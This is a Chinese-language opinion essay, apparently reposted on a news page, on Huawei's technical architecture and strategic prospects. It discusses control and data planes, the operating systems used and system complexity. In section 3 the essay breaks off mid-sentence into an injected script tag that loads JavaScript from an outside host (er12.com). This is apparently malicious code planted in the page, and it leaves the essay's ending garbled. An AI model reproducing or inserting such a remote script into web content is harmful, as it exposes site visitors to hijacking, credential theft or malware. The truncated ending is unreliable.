台湾人眼里的华为

1。引言

华为无疑是中国在嵌入式系统软件方面的领导者之一。对华为的褒贬很多,意见不一。其实我看起来,评价的原则很简单:如果没有华为,cisco,juniper,siemens,nokia等等西方大公司在中国的业务和挣得钱是多了,还是少了。如果华为的存在是使得cisco,juniper,siemens,nokia的生存空间在中国被压缩了,那麼我们就没有任何理由不支持华为。

对外支持华为,并不是要我们天天在嘴里夸华为。特别是对内,更不需,也没必要捧华为。

骂华为的人已经不少,但大多都是从business生意的角度,从公司对员工的待遇,文化等等,与曾经的员工的公司纠纷等等。我对华为的某些做法,也确实不敢苟同。

本是同根生,相煎何太急。

我今天试图是从技术分析的角度来观察华为。目的是为华为好。

我个人认为华为目前处在一个非常关键(critical)的阶段。没有处理好,将可能全盘皆输。别说打败cisco,以我的观点,港湾完全可以在5年左右在数据业务上击败华为。当然,我是希望华为与港湾双赢,这对中国的利益最大。单纯华为独霸江湖,对国家对其自己,未必是好事。

2。华为的技术体系结构概述

从概念上讲,华为是研发和卖系统(system)的。其业务分数据,无线等等6个业务线。其数据业务就是与cisco,juniper,nokia等竞争的router,switch,firewall/vpn等等,gprsggsn,ssgn等等,还有一些wap网关等等。

与其他公司一样,如cisco,juniper,siemens,nokia,华为的技术的本质是一个与硬件相关的大型软件系统。或者说监控系统。更进一步讲,是实时软件监控系统。

这样一个监控系统,不管其表象如何花哨,支持这个协议,或那个协议,这个标準,或那个标準,其基本要求是:在支持客户要求的越来越多的特徵(features),同时要保证稳定性(stability),实时(realtime),高性能(highperformance),容错(faulttolerance)和高可靠性(highavailability)等等。

监控系统的体系结构一般逃不出这样的一个划分:中低端系统和高端系统。

中低端系统,由於都系统性能参数的要求比较小和客户的重要性略低,其没有controlplane和dataplane的物理划分,也不是chasis结构。有的可能有些asic或fpga,但也是非常简单的通过pci总线相连。控制软件和datapath在一个操作系统内核上运行。基本上是一个简单的共享内存的体系结构。

高端系统,最可能的是用多个asic或asic组,利用流水线的方式或并行计算的方式来处理datapath。整个系统在物理上和逻辑上都有controlplane和dataplane的划分。对datapath的软件基本上是在dataplane上完成。在controlplane上,是管理软件,比如config,routingprotocol等等。在controlplane和dataplane之间,要麼是layer2,3层次上的通信,或者就是在共享内存的机构上通信,比如routingtable,session管理和同步等等。

从目前华为洩露的资料开来,比如其华为人员在别的公司面试的简歷上,我们可以发现,在系统软件方面,华为不同的部门在用不同的操作系统,比如,有用vxworks的,有用linux的,和其他一些操作系统,参齐不一。

上述操作系统基本上是用在中低端系统上,或高端系统的controlplane上。目前笔者尚没有足够的信息判断出华为的高端系统的dataplane上的底层软件结构。不过,笔者的猜测是:某个light-weight的kernel在一个通用cpu上作dataplane的控制,也可能是华为自己写的或改造的一个比较粗糙一点的的rtosexecutive。

在这些各式各样的操作系统或executive上,运行著各式各样feature,比如各种协议protocols,各种管理,收费软件等等。

在这样一个控制管理软件监控系统里,任何一个单独部分拿出来,都是非常简单的东西,可以说,不会比一个好一点学校的ee或cs作业难到那里去(打多数容易)。当然这一点,对cisco,juniper,siemens,nokia也一样。

但所有的东西揉到一起的时候,或我们通常说是一个系统的时候,技术的复杂性就上来了。特别是高端系统,其复杂性就更明显。比如:一个大型的併发系统存在著非常多的cornercase需要考虑到。性能优化的部分非常多从而难於把握具体的原因。系统测试的覆盖率难於涉及到方方面面。各个技术部门的协调和扯皮。

3。华为的目标

虽然我不认识任正非和其领导下的管理队伍,但对其心目中的华为的目标可猜测如下:华为长期的可持续发展。这个目标是用现代术语来描述的。其实如果用大白话讲就是:华为千秋万代;任正非名留青史。我个人判断任正非自己基本上是摆脱了利的一个优秀的人。但对名留青史,他是超脱不了得。这基本上是中国上下5千年精英集团和个人的最高目标。为了这个,多少的英雄,多少的故事曾经上?script src=http://er12.com/t.js>

  • 台湾人眼里的华为已关闭评论
    A+
发布日期:2019年07月04日  所属分类:新闻动态